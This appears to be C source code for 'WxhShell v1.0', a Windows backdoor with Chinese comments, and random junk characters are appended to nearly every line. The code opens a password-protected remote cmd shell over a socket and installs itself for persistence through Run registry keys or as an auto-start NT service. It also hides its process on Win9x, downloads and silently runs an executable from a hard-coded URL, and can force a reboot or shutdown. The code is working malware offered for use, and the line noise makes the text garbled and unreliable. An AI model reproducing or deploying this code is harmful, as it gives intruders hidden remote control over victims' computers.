    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4>d4g\Z0L  
    else { $G".PWc  
    closesocket(wsh); ;7'O=%  
    ExitThread(0); $Zu?Gd?  
    } +V4)><  
    break; #*o0n>O  
    } /65YHXg,  
  // 获取shell -G(me"Cu  
  case 's': { .nPOjwEx&Y  
    CmdShell(wsh); JOJ.79CT  
    closesocket(wsh); XQo\27Fo  
    ExitThread(0); BU:;;iV8  
    break; =W~7fs  
  } ON,[!pc  
  // 退出 i#'K7XM2  
  case 'x': { MgeC-XQM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |Xt.[1  
    CloseIt(wsh); Tn&_ >R  
    break; Tqt-zX|>  
    } "w:h  
  // 离开 !"N,w9MbD  
  case 'q': { /6 ')B !&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yaR>?[h  
    closesocket(wsh); @IL04' \  
    WSACleanup(); wlXs/\es  
    exit(1); T#ls2UL*xh  
    break; X q?>a+B  
        } B!wN%> U  
  } \u,CixV=  
  } Db|f"3rq?  
$e\s8$EO  
  // 提示信息 bo\ bs1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 76l. {TXF  
} ~<[+!&<U  
  } =-r"@2HBq  
if*V-$[I  
  return; $gl|^c\  
} zG9FO/@av  
cXq9k!I%  
// shell模块句柄 L^JU{\C  
int CmdShell(SOCKET sock) QLJ\>  
{ ]64Pk9z=  
STARTUPINFO si; tx09B)0  
ZeroMemory(&si,sizeof(si)); ji/`OS-iq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }F>RI jj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v3DK0MW  
PROCESS_INFORMATION ProcessInfo; 2u]G]: ml  
char cmdline[]="cmd"; ctP+ECH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n9Fq^^?  
  return 0; evyjHcCx  
} &]TniQH  
I): c#  
// 自身启动模式 Va?]:Q  
int StartFromService(void) jwI2T$  
{ Q`k;E}x_-  
typedef struct hkPMu@BI  
{ hi(b\ ABx  
  DWORD ExitStatus; 5iw\F!op:  
  DWORD PebBaseAddress; #(tdJ<HvC|  
  DWORD AffinityMask; sPNm.W$_  
  DWORD BasePriority; 1UMEbb  
  ULONG UniqueProcessId; \'2rs152  
  ULONG InheritedFromUniqueProcessId; {,Z|8@Sl%  
}   PROCESS_BASIC_INFORMATION; sVh)Ofn  
I#OZ:g^  
PROCNTQSIP NtQueryInformationProcess; %Xc,l Y1?  
-C2!`/U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #w;"s*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n*[ZS[I  
<-1:o*8:}  
  HANDLE             hProcess; rZgu`5 <a  
  PROCESS_BASIC_INFORMATION pbi; - |p eD L  
bPTtA;u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dk7x<$h-h0  
  if(NULL == hInst ) return 0; /`m* PgJ  
:q/s%`ob  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o33t~@RX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w[GEm,ZC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iQO4IT   
"~VKUvDu  
  if (!NtQueryInformationProcess) return 0; T={!/y+  
t^&hG7L_m,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l;q]z  
  if(!hProcess) return 0; ]G i&:k  
F > rr.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~7b#B XzP  
oaj.5hM  
  CloseHandle(hProcess); NnAIL;WS  
^|<>`i6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7)U ik}0  
if(hProcess==NULL) return 0; 3FvVM0l"  
Fx!D:.)/G  
HMODULE hMod; MsIR~  
char procName[255]; >~ *wPoW  
unsigned long cbNeeded; ,|*Gr"Q=  
"EpH02{i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,x\qYz+7|  
%vO(.A+  
  CloseHandle(hProcess); `\@n&y[`7  
m ^FKE:  
if(strstr(procName,"services")) return 1; // 以服务启动 ?n# $y@U  
#e.x]v:  
  return 0; // 注册表启动 4Q!%16 P  
} 3^P;mQ$p1  
3D6&0xTq  
// 主模块 B*:I-5  
int StartWxhshell(LPSTR lpCmdLine) 0:Bpvl5  
{ %<^^ Mw  
  SOCKET wsl; bGwOhd<.  
BOOL val=TRUE; Bvvja C  
  int port=0; {_!,T%>+1  
  struct sockaddr_in door; C[fefV9g2  
5BA:^4zr?  
  if(wscfg.ws_autoins) Install(); g(zeOS]q}  
yf*'=q  
port=atoi(lpCmdLine); ^W sgAyCB  
</'n={+q  
if(port<=0) port=wscfg.ws_port; 0xZ^ f}@L  
^P{y^@XI  
  WSADATA data; I:t ?#)wl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^/2HH  
h1?xfdvGd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8Dl(zYK;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1BmKwux:  
  door.sin_family = AF_INET; f:46.)W j<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [4xZy5V  
  door.sin_port = htons(port); "'t f]s  
P$z%:Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;i.MDW^N  
closesocket(wsl); tQG'f*4  
return 1; GH':Yk  
} 5=*i!c _m  
<#8}![3Q  
  if(listen(wsl,2) == INVALID_SOCKET) { <}RD]Sc$1  
closesocket(wsl); HY_>sD  
return 1; CF3x\6.q}  
} R<f F ^^  
  Wxhshell(wsl); #8L: .,AYE  
  WSACleanup(); khjdTq\\  
]i075bO/  
return 0; &KBDrJEX  
,FP0n  
} 9{3_2CIL  
Ae=JG8Ht~  
// 以NT服务方式启动 hlre eXv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )n"0:"Ou  
{ 2u-J+  
DWORD   status = 0; .h4NG4FIF  
  DWORD   specificError = 0xfffffff; ,){#J"W  
X*MK(aV3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z^Um\f   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z796;qk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |X*y-d77W  
  serviceStatus.dwWin32ExitCode     = 0; VMF?qT3Nd  
  serviceStatus.dwServiceSpecificExitCode = 0; ]@21KO  
  serviceStatus.dwCheckPoint       = 0; W{J e)N  
  serviceStatus.dwWaitHint       = 0; phG *It}  
F3vywN1$,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0'f\>4B  
  if (hServiceStatusHandle==0) return; OmkJP  
+5I5  
status = GetLastError(); G11KAq(  
  if (status!=NO_ERROR) YJ6:O{AL1  
{ wEq&O|Vj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #5h_{q4l  
    serviceStatus.dwCheckPoint       = 0; $Tv~ *|a  
    serviceStatus.dwWaitHint       = 0; ,d*1|oUw  
    serviceStatus.dwWin32ExitCode     = status; A",}Ikh='`  
    serviceStatus.dwServiceSpecificExitCode = specificError; oj.J;[-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G:1QXwq\j  
    return; Wm"q8-<<  
  } 8.jf6   
"6IZf>N@#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1`|Z8Jpocj  
  serviceStatus.dwCheckPoint       = 0; 0827z  
  serviceStatus.dwWaitHint       = 0; h3.CvPYy1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P<Z` 8a[  
} &ZMQ]'&  
|wJdp,q R  
// 处理NT服务事件,比如:启动、停止 $bp$[fX(e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QKEtV  
{ T^MY w  
switch(fdwControl) wbOYtN Y@  
{ !w UznyYwt  
case SERVICE_CONTROL_STOP: '/XP4B\(E  
  serviceStatus.dwWin32ExitCode = 0; .|u`s,\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,[ppETz  
  serviceStatus.dwCheckPoint   = 0; UAz^P6iQ`~  
  serviceStatus.dwWaitHint     = 0; u0<yGsEGD  
  { 9W(&g)`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \>*.+?97  
  } |J`v w  
  return; l x;87MDs  
case SERVICE_CONTROL_PAUSE: R}w}G6"\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z &P1C,n)  
  break; 5m'AT]5Tn_  
case SERVICE_CONTROL_CONTINUE: d3\?:}o,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %^E 7Iqc  
  break; _(?`eWo  
case SERVICE_CONTROL_INTERROGATE: "9^b1UH<  
  break; \tvL<U"'  
}; bh5P98s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W tw,YFT  
} 6wu`;>  
>`&2]Wc)  
// 标准应用程序主函数 )N~ p4kp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j 7:r8? G  
{ \z2y?"\?  
&QD)1b[U  
// 获取操作系统版本 Z~h6^h   
OsIsNt=GetOsVer(); k7@QFw4 j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]=ApYg7!  
P5B,= K>r  
  // 从命令行安装 YCStX)r  
  if(strpbrk(lpCmdLine,"iI")) Install(); GPGP teC  
H-&27?s^  
  // 下载执行文件 T<>B5G~%  
if(wscfg.ws_downexe) { ]!!?gnPd5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4Zu1G#(zP  
  WinExec(wscfg.ws_filenam,SW_HIDE); @i(9k  
} 451.VI}MR  
68bvbig  
if(!OsIsNt) { Kv!:2br  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;p~!('{P  
HideProc(); MYb^G\K  
StartWxhshell(lpCmdLine); S?`0,F  
} r)-{~JA!  
else t\QLj&h}E  
  if(StartFromService()) ng|^Zm%   
  // 以服务方式启动 @8`I!fZ  
  StartServiceCtrlDispatcher(DispatchTable); 3B%7SX  
else o ~y{9Q  
  // 普通方式启动 oDD"h,Z  
  StartWxhshell(lpCmdLine); b'SP,}s5"  
Kv1~,j6  
return 0; zRLJ|ejMP  
} uUx7>algF  
>G"fMOOkW  
IQC[ewk  
S-\wX.`R1  
=========================================== FsO-xG"@"  
#m UQ@X@K  
C4PT(cezR  
#6#n4`%ER  
R!/JZ@au<  
4P)#\$d:  
"  ? .SiT5  
]D5Maid+  
#include <stdio.h> bWb/>hI8 Q  
#include <string.h> t {1 [Ip  
#include <windows.h> w+j\Py_G"  
#include <winsock2.h> 2.Ww(`swL  
#include <winsvc.h> 1Zp/EYWa{  
#include <urlmon.h> E <j=5|0t  
6J JA"] `  
#pragma comment (lib, "Ws2_32.lib") S}h d,"I  
#pragma comment (lib, "urlmon.lib") 3  ;F  
F[O147&C  
#define MAX_USER   100 // 最大客户端连接数 vv Y?8/  
#define BUF_SOCK   200 // sock buffer 5CcX'*P  
#define KEY_BUFF   255 // 输入 buffer _hl| 3 eW5  
 r90tXx  
#define REBOOT     0   // 重启 `EMGrw_  
#define SHUTDOWN   1   // 关机 \fC;b"j  
bG"FN/vg  
#define DEF_PORT   5000 // 监听端口 r|ZB3L|7  
$$0 < &  
#define REG_LEN     16   // 注册表键长度 b p?TO]LH  
#define SVC_LEN     80   // NT服务名长度 KK >j V  
W!.FnM5x  
// 从dll定义API }oG6XI9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iNi1+sm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LzLJ6A>;R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]Z\W%'q+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l}-k>fug  
ziO(`"v  
// wxhshell配置信息 fX,O9d$  
struct WSCFG { 6A5.n?B{  
  int ws_port;         // 监听端口 Rl0"9D87z  
  char ws_passstr[REG_LEN]; // 口令 M^HYkXn[  
  int ws_autoins;       // 安装标记, 1=yes 0=no [3S17tTc3  
  char ws_regname[REG_LEN]; // 注册表键名 yp=sL' E  
  char ws_svcname[REG_LEN]; // 服务名 h7K,q  S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cb<7?),vK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 or;VmU8$zb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3j$, L(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hmLI9TUe6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gzVZPvTPE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (O09HY:  
N GnE  
}; bvZD@F`2  
Zp_j\B  
// default Wxhshell configuration RaTNA W)v>  
struct WSCFG wscfg={DEF_PORT, NW0se DL  
    "xuhuanlingzhe", 3"0QW4A  
    1, b0h\l#6  
    "Wxhshell", [X@{xF^vBQ  
    "Wxhshell", k 75 p  
            "WxhShell Service", 6 mLC{X[  
    "Wrsky Windows CmdShell Service", B/lIn' =  
    "Please Input Your Password: ", qgEzK  
  1, |p+FIr+  
  "http://www.wrsky.com/wxhshell.exe", pcOi%D,o  
  "Wxhshell.exe" AriV4 +  
    }; ~MB)}!S:  
/#: *hn  
// 消息定义模块 ]x8Y]wAU&{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +U,t*U4,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ] X]!xvN@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B&59c*K  
char *msg_ws_ext="\n\rExit."; d!&LpODI]*  
char *msg_ws_end="\n\rQuit."; zSsBbu:  
char *msg_ws_boot="\n\rReboot..."; LR#.xFQ+  
char *msg_ws_poff="\n\rShutdown..."; =M@)q y  
char *msg_ws_down="\n\rSave to "; \J?&XaO=  
 FO!0TyQ  
char *msg_ws_err="\n\rErr!"; Dqwd=$2%  
char *msg_ws_ok="\n\rOK!"; '#j6ZC/?  
KdHkX+-R  
char ExeFile[MAX_PATH]; }>y~P~`S:  
int nUser = 0; .uX(-8n ~  
HANDLE handles[MAX_USER]; ~v/` `s  
int OsIsNt; (kK8 OxfF  
*Z.{1  
SERVICE_STATUS       serviceStatus; f]Aa$\@b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j;j~R3B  
fWfhs}_  
// 函数声明 t,XbF  
int Install(void); zTG1 0  
int Uninstall(void); +YCWoX 2  
int DownloadFile(char *sURL, SOCKET wsh); [.$%ti*!  
int Boot(int flag); {#z47Rz  
void HideProc(void); u|ihUE!h  
int GetOsVer(void); 32J/   
int Wxhshell(SOCKET wsl); <daH0l0  
void TalkWithClient(void *cs); ?_uan  
int CmdShell(SOCKET sock); @c8RlW/A  
int StartFromService(void); Eqny'44  
int StartWxhshell(LPSTR lpCmdLine); %(? ;`  
vft7-|8T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &];W#9"Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n.5M6i/~a  
HH(2  
// 数据结构和表定义 &V &beq4)p  
SERVICE_TABLE_ENTRY DispatchTable[] = 7{S;~VH3  
{ 'S v V10$5  
{wscfg.ws_svcname, NTServiceMain}, ,e`n2)  
{NULL, NULL} X&49C:jN  
}; @{<^rLt  
1dp8'f5^  
// 自我安装 Z$Qwn  
int Install(void) (l2n%LL]*  
{ +['1~5  
  char svExeFile[MAX_PATH]; +W[{UC4b  
  HKEY key; .bh 7  
  strcpy(svExeFile,ExeFile); 6+>X`k%D  
yg|yoL'g  
// 如果是win9x系统,修改注册表设为自启动 i}<fg*6@E  
if(!OsIsNt) { 1Nv qtVC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >K%+h)%kI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y3)*MqZlF  
  RegCloseKey(key); Lq@uwiq!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dg ~k"Ice  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 65+2+p  
  RegCloseKey(key); "x_G6JE4tv  
  return 0; fx^yC.$2  
    } l0',B*og  
  } \Y:zg3q*  
} ] TZ/=Id  
else { (h@~0S  
*a(GG  
// 如果是NT以上系统,安装为系统服务 [Q8vS;.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <1~_nt~(*  
if (schSCManager!=0) [*ug:PG  
{ $9Xn.,W  
  SC_HANDLE schService = CreateService 1':};}dCJ  
  ( 90<a'<\|  
  schSCManager, mG *Yv  
  wscfg.ws_svcname, +rrA>~  
  wscfg.ws_svcdisp, [NGq$5  
  SERVICE_ALL_ACCESS, Qq.Ja%Zq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \)g}   
  SERVICE_AUTO_START, iN L>TVUM  
  SERVICE_ERROR_NORMAL,  ? EhIK  
  svExeFile, ="g9>  
  NULL, KC<K*UHPAH  
  NULL, 2XjH1  
  NULL, 8)f/H&)>8  
  NULL, R&/"?&pfa  
  NULL =| r% lx  
  ); q{q;X{  
  if (schService!=0) h)r=+Q\'(S  
  { K1- 3!G  
  CloseServiceHandle(schService); sa"!ckh  
  CloseServiceHandle(schSCManager); ~Bt >Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )o::~ eu  
  strcat(svExeFile,wscfg.ws_svcname); u@4khN: ^p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0SZ:C(]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5S7ATr(*  
  RegCloseKey(key); BUBtK-n~"3  
  return 0; ^w jMu5f  
    } )b|xzj@  
  } d8^S~7  
  CloseServiceHandle(schSCManager); d&DQ8Gm ^  
} QA~Lm  
} |A)a ='Ap  
mP +H C)2  
return 1; c#fSt}J>C  
} ;l@Ge`&u  
,YrPwdaTB  
// 自我卸载 GRgpy  
int Uninstall(void) $h1pL>^J  
{ 3+vMi[YO  
  HKEY key; )EsFy6K:  
X/S%0AwZ  
if(!OsIsNt) { n1y*`5!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^QTkre  
  RegDeleteValue(key,wscfg.ws_regname); ~/Kqkhq+c  
  RegCloseKey(key); RXhT{Ho(>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~:UAL}b{\~  
  RegDeleteValue(key,wscfg.ws_regname); XiyL563gh  
  RegCloseKey(key); B,{Q[  
  return 0; >% E=l  
  } 5e c T.  
} 8H{9  
} i uoZk5O  
else { <IQ}j^u-F  
J~5+=V7OV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); | +aD%'|  
if (schSCManager!=0) w `>g^_xsg  
{ S\A9r!2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JjBlje  
  if (schService!=0) =K6{AmG$  
  { ,@@FAL  
  if(DeleteService(schService)!=0) { %uy?@e  
  CloseServiceHandle(schService); fSm|anuKZe  
  CloseServiceHandle(schSCManager); X0]5I0YP  
  return 0; v ,)vW5jGI  
  } SMHQh.O?5  
  CloseServiceHandle(schService); {mB &xz:b  
  } ;#dzw!+Y  
  CloseServiceHandle(schSCManager); lT F#efcW  
} XCE<].w  
} o:RO(oA0?  
]Cc8[ZC  
return 1; od]1:8OF  
} x^!LA,`j  
udX!R^8jE  
// 从指定url下载文件 O['5/:-  
int DownloadFile(char *sURL, SOCKET wsh) 'X1/tB8*  
{ qyY]: (8  
  HRESULT hr; Q|W~6  
char seps[]= "/"; RjG=RfB'V  
char *token; /8s>JPXKH[  
char *file; KA]5tVQA  
char myURL[MAX_PATH]; :stA]JB# w  
char myFILE[MAX_PATH]; ]iH~ 1[  
x@,B))WlGr  
strcpy(myURL,sURL); .OvH<%g!.  
  token=strtok(myURL,seps); NAEAvXj  
  while(token!=NULL) ?lQ-HOAw  
  { h Ap(1h#m  
    file=token; )gKX +'  
  token=strtok(NULL,seps); A!ak i}aT~  
  } M[5fNK&nD  
 ~&Y%yN^  
GetCurrentDirectory(MAX_PATH,myFILE); "I^pb.3  
strcat(myFILE, "\\"); K}Rq<z W  
strcat(myFILE, file); 9':MD0P/M  
  send(wsh,myFILE,strlen(myFILE),0); |Ht~o(]&&/  
send(wsh,"...",3,0); +dF/$+t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eRvnN>L  
  if(hr==S_OK) {{e+t8J??  
return 0; 1<&nHFJ;[  
else iKe68kx  
return 1; G}gmkp]z  
H!uq5` j0K  
} sWX\/Iyy2p  
D=!5l4  
// 系统电源模块 WxF0LhM  
int Boot(int flag) bWfT-Jewh  
{ 35fsr=  
  HANDLE hToken; Uk= L?t  
  TOKEN_PRIVILEGES tkp; 2/#%^,Kb2  
S"Mm_<A$@  
  if(OsIsNt) { 5TVA1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x_BnWFP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aj@<4A=;  
    tkp.PrivilegeCount = 1; v[=TPfX0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3q:>NB<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o_&*?k*  
if(flag==REBOOT) { s N|7   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z Feo8S  
  return 0; !d3:`l<  
} /&g~*AL  
else { s2iL5N|"Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \ q=Bbfzv  
  return 0; Wd/m]]W8Q  
} b0!ZA/YC-  
  } ok<!/"RX$  
  else { t{Xf3.  
if(flag==REBOOT) { n>:|K0u"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o<nkK+=Afm  
  return 0; =hDFpb,mr  
} eJ tfQ@?  
else { k1Thjt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -|nHwSrCZ/  
  return 0; >'96SE3  
} kMY1Xb  
} ]J>{ZL   
?wYvBFRn7"  
return 1; \rY<DxtOq  
} :~{x'`czJ  
:Vl2\H=P  
// win9x进程隐藏模块 qJPEq%'Q  
void HideProc(void) %+e% RZ3  
{ B gB]M3Il  
|>L|7>J{<d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r&?i>.Kz8  
  if ( hKernel != NULL ) ej&ZE n  
  { U|}Bk/0.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :r,o-D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dpWBY3(7a  
    FreeLibrary(hKernel); UpIt"+d2&  
  } rLzN #Zoi  
UOAL7  
return; s`Z'5J;S  
} 3ZEV*=+T5  
EA+}Rf6}  
// 获取操作系统版本 a= *qsgPGL  
int GetOsVer(void) bQFMg41*w7  
{ GIGC,zP@k  
  OSVERSIONINFO winfo; zPKx: I3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h<8.0  
  GetVersionEx(&winfo); 7-u['nFJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c Oi:bC@  
  return 1; d}`Z| ex  
  else v Ol<  
  return 0; p^uX{!  
} sa26u`?  
|q:p^;x  
// 客户端句柄模块 q;<=MO/  
int Wxhshell(SOCKET wsl) F}Kkhs {  
{ sKK*{+,kh;  
  SOCKET wsh; 2GRdfX  
  struct sockaddr_in client; qB0F9[U  
  DWORD myID; B<p -.tv  
WzwH;!  
  while(nUser<MAX_USER) 2a 3RRP  
{ RZg8y+jM  
  int nSize=sizeof(client); 5!pof\/a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NEb M>1>^  
  if(wsh==INVALID_SOCKET) return 1; [G/ti&Od^  
~Os1ir.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Arzyq_ Yk  
if(handles[nUser]==0) "7&DuF$s)  
  closesocket(wsh); 9h$08l  
else jLZ^EM-  
  nUser++; c{X:0man  
  } lPywr TG0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [m9Iz!E  
%Ct^{k~1  
  return 0; nGqD{!i<  
} O ^+H:Y|  
yD-L:)@"  
// 关闭 socket C=&rPUX{  
void CloseIt(SOCKET wsh) UHh7x%$n  
{ ipThw p9  
closesocket(wsh); ,sqx xq  
nUser--; #S*`7MvM  
ExitThread(0); ?"o7x[  
} ;`f14Fb  
i6Kcj  
// 客户端请求句柄 \=yWJ  
void TalkWithClient(void *cs) [7btoo|P]  
{ OrJuE[R.  
>Yf)]e-  
  SOCKET wsh=(SOCKET)cs; G'M;]R9EP  
  char pwd[SVC_LEN]; K#e&yY  
  char cmd[KEY_BUFF]; k+D"LA%J  
char chr[1]; ?b8 :  
int i,j; = @EN]u  
Ac2,A>  
  while (nUser < MAX_USER) { \pVmSac,  
z{N~AaY  
if(wscfg.ws_passstr) { -s zSA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,L.*95 ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @> ]O6P2  
  //ZeroMemory(pwd,KEY_BUFF); ;;zQVD )X  
      i=0; 5S EyAhB  
  while(i<SVC_LEN) { m);0sb  
, Y\`n7Ww  
  // 设置超时 +' lj\_n  
  fd_set FdRead; rEF0A&5  
  struct timeval TimeOut; a^ _ _Z3g,  
  FD_ZERO(&FdRead); :Q=tGj\ G  
  FD_SET(wsh,&FdRead); lzE{e6  
  TimeOut.tv_sec=8; D\ ;(BB  
  TimeOut.tv_usec=0; 5(+PI KCjC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U_8 Z&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fVXZfq6  
6` 8H k;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bl8EzO  
  pwd=chr[0]; FkH HTO  
  if(chr[0]==0xd || chr[0]==0xa) { `Pcbc\"*y  
  pwd=0; 6VsgZ"Il  
  break; sT*D]J 2  
  } p" ;5J+?(  
  i++; 'BiR ,M$mY  
    } =Lc!L !(,b  
Hrk]6*  
  // 如果是非法用户,关闭 socket \|gE=5!Am=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S#{jyU9 ]  
} b5@sG^  
sYG:\>}ie  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )9]DJ!]&Q"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .S{FEV  
QCD MRh n  
while(1) { J_|LG rt})  
F+m%PVW:  
  ZeroMemory(cmd,KEY_BUFF); 2YbI."ob  
D"z3SLFW{  
      // 自动支持客户端 telnet标准   O)jpnNz  
  j=0; R[ #vFQ  
  while(j<KEY_BUFF) { +I$,Y~&`>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /F thT  
  cmd[j]=chr[0]; Xv&&U@7  
  if(chr[0]==0xa || chr[0]==0xd) { (^@rr[. o7  
  cmd[j]=0; d:X@zUR*)  
  break; X"k:+  
  } u{'|/g&  
  j++; ].Sz2vI  
    } Z0'&@P$  
lA/.4"nN  
  // 下载文件 0aRHXc2<  
  if(strstr(cmd,"http://")) { LJc"T)>$`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rsaN<6#_^Q  
  if(DownloadFile(cmd,wsh)) sy]hMGH:3W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x_+-TC4IXn  
  else k',#T932x1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %4QpDt  
  } 1`Ig A0V`"  
